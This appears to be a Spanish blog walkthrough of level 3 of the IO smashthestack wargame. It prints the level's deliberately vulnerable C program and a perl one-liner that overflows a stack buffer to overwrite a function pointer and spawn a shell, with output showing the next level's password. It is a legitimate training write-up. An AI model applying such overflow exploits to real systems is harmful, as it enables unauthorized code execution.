•
IO wargame (smash the stack) level 3
En este tercer nivel tenemos que modificar el valor de un puntero a función con la dirección de otra función poder obtener la shell. Podemos conseguir esto mediante un buffer overflow:
El código del nivel es el siguiente:
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int good(int addr) {
printf("Address of hmm: %p\n", addr);
}
int hmm() {
printf("Win.\n");
execl("/bin/sh", "sh", NULL);
}
extern char **environ;
int main(int argc, char **argv) {
int i, limit;
for(i = 0; environ[i] != NULL; i++)
memset(environ[i], 0x00, strlen(environ[i]));
int (*fptr)(int) = good;
char buf[32];
if(strlen(argv[1]) <= 40) limit = strlen(argv[1]);
for(i = 0; i <= limit; i++) {
buf[i] = argv[1][i];
if(i < 36) buf[i] = 0x41;
}
int (*hmmptr)(int) = hmm;
(*fptr)((int)hmmptr);
return 0;
}
Podemos probar de ejecutar el nivel para obtener la dirección de la función hmm que nos da la shell:
level3@io:~$ /levels/level03 aaa Address of hmm: 0x804847f
Tal como hemos visto otras veces en el wargame narnia podemos usar perl para rellenar el buffer y luego dar la nueva dirección del puntero a función hmm:
level3@io:/levels$ ./level03 $(perl -e 'print "a"x32; print "\x7f\x84\x04\x08"x2;') Win. sh-3.2$ cat ~level4/.pass iazki1ud
Ya podemos pasar al siguiente nivel
El listado de soluciones de otros niveles del wargame de IO de smash the stack es el siguiente:
Relacionados
Imprimir

Deja un comentario: